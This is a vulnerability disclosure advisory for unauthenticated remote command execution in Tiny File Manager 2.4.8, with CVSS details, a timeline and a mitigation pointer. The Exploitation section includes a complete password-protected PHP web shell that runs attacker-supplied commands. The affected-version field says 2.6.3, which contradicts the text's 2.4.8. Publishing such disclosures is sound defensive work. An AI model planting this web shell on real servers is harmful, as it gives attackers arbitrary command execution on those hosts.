Tiny File Manager 2.4.8 - Remote Command Execution
Summary
Name | Tiny File Manager 2.4.8 - RCE |
Code name | |
Product | Tiny File Manager |
Affected versions | Version 2.6.3 |
State | Public |
Release date | 2022-11-21 |
Vulnerability
Kind | Remote command execution |
Rule | |
Remote | Yes |
CVSSv3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
CVSSv3.1 Base Score | 10.0 |
Exploit available | Yes |
CVE ID(s) |
Description
Version 2.4.8 of Tiny File Manager allows an unauthenticated remote attacker to execute arbitrary code remotely on the server. This is possible because the application is vulnerable to CSRF, processes uploaded files server-side (instead of just returning them for download), and allows unauthenticated users to access uploaded files.
Vulnerability
This vulnerability occurs because the application is vulnerable to CSRF, processes uploaded files server-side (instead of just returning them for download), and allows unauthenticated users to access uploaded files.
Exploitation
To exploit this vulnerability, the following file must be sent to the server as administrator (to achieve this I will abuse the CSRF present in the application).
exploit.php
<?php if($_POST && $_POST['password']==="AGSH635479302H235") { echo system($_POST['cmd']); } ?>
Evidence of exploitation
Our security policy
We have reserved the CVE-2022-23044, the CVE-2022-45475, the CVE-2022-45476 to refer to this issue from now on.
System Information
-
Version: Tiny File Manager 2.4.8
-
Operating System: GNU/Linux
Mitigation
An updated version of Tiny File Manager is available at the vendor page.
Credits
The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.
References
Vendor page https://github.com/prasathmani/tinyfilemanager
Release page https://github.com/prasathmani/tinyfilemanager/releases/tag/2.5.0
Timeline
2022-11-17
Vulnerability discovered.
2022-11-17
Vendor contacted.
2022-11-17
Vendor replied acknowledging the report.
2022-11-17
Vendor Confirmed the vulnerability.
2022-11-21
Public Disclosure.